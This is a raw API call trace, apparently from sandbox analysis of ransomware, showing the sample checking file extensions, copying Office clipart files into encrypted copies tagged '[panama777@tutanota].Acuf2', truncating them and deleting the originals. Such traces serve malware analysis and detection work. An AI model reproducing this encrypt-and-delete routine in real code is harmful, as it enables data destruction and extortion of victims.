	[0254.273] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.273] lstrlenW (lpString=".bz2") returned 4
	[0254.273] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.273] lstrlenW (lpString=".7z") returned 3
	[0254.273] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.273] lstrlenW (lpString=".dbf") returned 4
	[0254.273] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.273] lstrlenW (lpString=".1cd") returned 4
	[0254.273] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63
	[0254.274] lstrlenW (lpString=".jpg") returned 4
	[0254.274] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.274] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.274] lstrlenW (lpString="AN00015_.WMF") returned 12
	[0254.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0254.274] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4734) returned 1
	[0254.274] CloseHandle (hObject=0x344) returned 1
	[0254.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20
	[0254.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0254.274] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.275] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0254.286] GetLastError () returned 0x0
	[0254.286] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x127e, lpOverlapped=0x0) returned 1
	[0254.287] WriteFile (in: hFile=0x29c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1280, lpOverlapped=0x0) returned 1
	[0254.288] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.288] WriteFile (in: hFile=0x29c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.289] SetEndOfFile (hFile=0x29c) returned 1
	[0254.289] CloseHandle (hObject=0x29c) returned 1
	[0254.289] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.289] SetEndOfFile (hFile=0x344) returned 1
	[0254.291] CloseHandle (hObject=0x344) returned 1
	[0254.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1
	[0254.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.292] lstrlenW (lpString=".doc") returned 4
	[0254.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.292] lstrlenW (lpString=".docx") returned 5
	[0254.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.292] lstrlenW (lpString=".pdf") returned 4
	[0254.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.292] lstrlenW (lpString=".xls") returned 4
	[0254.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.292] lstrlenW (lpString=".xlsx") returned 5
	[0254.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.292] lstrlenW (lpString=".ppt") returned 4
	[0254.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.293] lstrlenW (lpString=".zip") returned 4
	[0254.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.293] lstrlenW (lpString=".rar") returned 4
	[0254.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.293] lstrlenW (lpString=".bz2") returned 4
	[0254.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.293] lstrlenW (lpString=".7z") returned 3
	[0254.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.293] lstrlenW (lpString=".dbf") returned 4
	[0254.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.293] lstrlenW (lpString=".1cd") returned 4
	[0254.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.293] lstrlenW (lpString=".jpg") returned 4
	[0254.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.293] lstrlenW (lpString=".doc") returned 4
	[0254.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.293] lstrlenW (lpString=".docx") returned 5
	[0254.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.293] lstrlenW (lpString=".pdf") returned 4
	[0254.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.293] lstrlenW (lpString=".xls") returned 4
	[0254.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.293] lstrlenW (lpString=".xlsx") returned 5
	[0254.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.293] lstrlenW (lpString=".ppt") returned 4
	[0254.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.294] lstrlenW (lpString=".zip") returned 4
	[0254.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.294] lstrlenW (lpString=".rar") returned 4
	[0254.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.294] lstrlenW (lpString=".bz2") returned 4
	[0254.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.294] lstrlenW (lpString=".7z") returned 3
	[0254.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.294] lstrlenW (lpString=".dbf") returned 4
	[0254.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.294] lstrlenW (lpString=".1cd") returned 4
	[0254.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63
	[0254.294] lstrlenW (lpString=".jpg") returned 4
	[0254.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.294] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.294] lstrlenW (lpString="AN00790_.WMF") returned 12
	[0254.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0254.295] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5684) returned 1
	[0254.296] CloseHandle (hObject=0x344) returned 1
	[0254.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20
	[0254.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0254.296] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.296] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0254.296] GetLastError () returned 0x0
	[0254.296] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1634, lpOverlapped=0x0) returned 1
	[0254.298] WriteFile (in: hFile=0x29c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1640, lpOverlapped=0x0) returned 1
	[0254.299] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.299] WriteFile (in: hFile=0x29c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.299] SetEndOfFile (hFile=0x29c) returned 1
	[0254.299] CloseHandle (hObject=0x29c) returned 1
	[0254.299] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.299] SetEndOfFile (hFile=0x344) returned 1
	[0254.301] CloseHandle (hObject=0x344) returned 1
	[0254.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1
	[0254.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.302] lstrlenW (lpString=".doc") returned 4
	[0254.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.302] lstrlenW (lpString=".docx") returned 5
	[0254.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.302] lstrlenW (lpString=".pdf") returned 4
	[0254.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.302] lstrlenW (lpString=".xls") returned 4
	[0254.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.302] lstrlenW (lpString=".xlsx") returned 5
	[0254.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.302] lstrlenW (lpString=".ppt") returned 4
	[0254.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.302] lstrlenW (lpString=".zip") returned 4
	[0254.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.302] lstrlenW (lpString=".rar") returned 4
	[0254.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.302] lstrlenW (lpString=".bz2") returned 4
	[0254.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.302] lstrlenW (lpString=".7z") returned 3
	[0254.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.302] lstrlenW (lpString=".dbf") returned 4
	[0254.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.303] lstrlenW (lpString=".1cd") returned 4
	[0254.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.303] lstrlenW (lpString=".jpg") returned 4
	[0254.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.303] lstrlenW (lpString=".doc") returned 4
	[0254.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.303] lstrlenW (lpString=".docx") returned 5
	[0254.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.303] lstrlenW (lpString=".pdf") returned 4
	[0254.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.303] lstrlenW (lpString=".xls") returned 4
	[0254.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.303] lstrlenW (lpString=".xlsx") returned 5
	[0254.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.303] lstrlenW (lpString=".ppt") returned 4
	[0254.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.303] lstrlenW (lpString=".zip") returned 4
	[0254.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.303] lstrlenW (lpString=".rar") returned 4
	[0254.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.303] lstrlenW (lpString=".bz2") returned 4
	[0254.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.303] lstrlenW (lpString=".7z") returned 3
	[0254.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.304] lstrlenW (lpString=".dbf") returned 4
	[0254.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.304] lstrlenW (lpString=".1cd") returned 4
	[0254.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63
	[0254.304] lstrlenW (lpString=".jpg") returned 4
	[0254.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.304] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.304] lstrlenW (lpString="AN00853_.WMF") returned 12
	[0254.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.444] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=20578) returned 1
	[0254.444] CloseHandle (hObject=0x358) returned 1
	[0254.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20
	[0254.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.764] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.765] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.790] GetLastError () returned 0x0
	[0254.790] ReadFile (in: hFile=0x350, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x5062, lpOverlapped=0x0) returned 1
	[0254.793] WriteFile (in: hFile=0x330, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x5070, lpOverlapped=0x0) returned 1
	[0254.794] ReadFile (in: hFile=0x350, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.794] WriteFile (in: hFile=0x330, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.794] SetEndOfFile (hFile=0x330) returned 1
	[0254.796] CloseHandle (hObject=0x330) returned 1
	[0254.796] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.796] SetEndOfFile (hFile=0x350) returned 1
	[0254.798] CloseHandle (hObject=0x350) returned 1
	[0254.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1
	[0254.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.840] lstrlenW (lpString=".doc") returned 4
	[0254.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.840] lstrlenW (lpString=".docx") returned 5
	[0254.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.840] lstrlenW (lpString=".pdf") returned 4
	[0254.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.840] lstrlenW (lpString=".xls") returned 4
	[0254.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.840] lstrlenW (lpString=".xlsx") returned 5
	[0254.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.840] lstrlenW (lpString=".ppt") returned 4
	[0254.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.841] lstrlenW (lpString=".zip") returned 4
	[0254.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.841] lstrlenW (lpString=".rar") returned 4
	[0254.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.841] lstrlenW (lpString=".bz2") returned 4
	[0254.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.841] lstrlenW (lpString=".7z") returned 3
	[0254.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.841] lstrlenW (lpString=".dbf") returned 4
	[0254.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.841] lstrlenW (lpString=".1cd") returned 4
	[0254.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.841] lstrlenW (lpString=".jpg") returned 4
	[0254.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.841] lstrlenW (lpString=".doc") returned 4
	[0254.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.841] lstrlenW (lpString=".docx") returned 5
	[0254.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.841] lstrlenW (lpString=".pdf") returned 4
	[0254.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.841] lstrlenW (lpString=".xls") returned 4
	[0254.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.842] lstrlenW (lpString=".xlsx") returned 5
	[0254.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.842] lstrlenW (lpString=".ppt") returned 4
	[0254.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.842] lstrlenW (lpString=".zip") returned 4
	[0254.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.842] lstrlenW (lpString=".rar") returned 4
	[0254.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.842] lstrlenW (lpString=".bz2") returned 4
	[0254.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.842] lstrlenW (lpString=".7z") returned 3
	[0254.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
